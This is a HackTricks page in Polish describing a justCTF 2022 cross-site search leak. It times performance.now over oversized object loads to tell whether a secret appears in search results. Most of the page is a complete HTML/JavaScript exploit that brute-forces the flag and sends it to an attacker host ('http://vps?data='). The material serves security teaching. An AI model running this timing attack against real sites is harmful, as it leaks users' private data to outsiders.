hacktricks/src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

2.4 KiB

performance.now + Force heavy task

{{#include ../../banners/hacktricks-training.md}}

Eksploit pochodzi z https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

W tym wyzwaniu użytkownik mógł wysłać tysiące znaków, a jeśli flaga była zawarta, znaki byłyby odesłane do bota. Wysyłając dużą ilość znaków, atakujący mógł zmierzyć, czy flaga była zawarta w wysłanym ciągu, czy nie.

Warning

Początkowo nie ustawiłem szerokości i wysokości obiektu, ale później odkryłem, że jest to ważne, ponieważ domyślny rozmiar jest zbyt mały, aby miało to znaczenie w czasie ładowania.

<!DOCTYPE html>
<html>
<head> </head>
<body>
<img src="https://deelay.me/30000/https://example.com" />
<script>
fetch("https://deelay.me/30000/https://example.com")

function send(data) {
fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1)
}

function leak(char, callback) {
return new Promise((resolve) => {
let ss = "just_random_string"
let url =
`http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` +
ss[Math.floor(Math.random() * ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement("object")
object.width = "2000px"
object.height = "2000px"
object.data = url
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log("Error event triggered")
document.body.appendChild(object)
})
}

send("start")

let charset = "abcdefghijklmnopqrstuvwxyz_}".split("")
let flag = "justCTF{"

async function main() {
let found = 0
let notFound = 0
for (let i = 0; i < 3; i++) {
await leak("..")
}
for (let i = 0; i < 3; i++) {
found += await leak("justCTF")
}
for (let i = 0; i < 3; i++) {
notFound += await leak("NOT_FOUND123")
}

found /= 3
notFound /= 3

send("found flag:" + found)
send("not found flag:" + notFound)

let threshold = found - (found - notFound) / 2
send("threshold:" + threshold)

if (notFound > found) {
return
}

// exploit
while (true) {
if (flag[flag.length - 1] === "}") {
break
}
for (let char of charset) {
let trying = flag + char
let time = 0
for (let i = 0; i < 3; i++) {
time += await leak(trying)
}
time /= 3
send("char:" + trying + ",time:" + time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()
</script>
</body>
</html>

{{#include ../../banners/hacktricks-training.md}}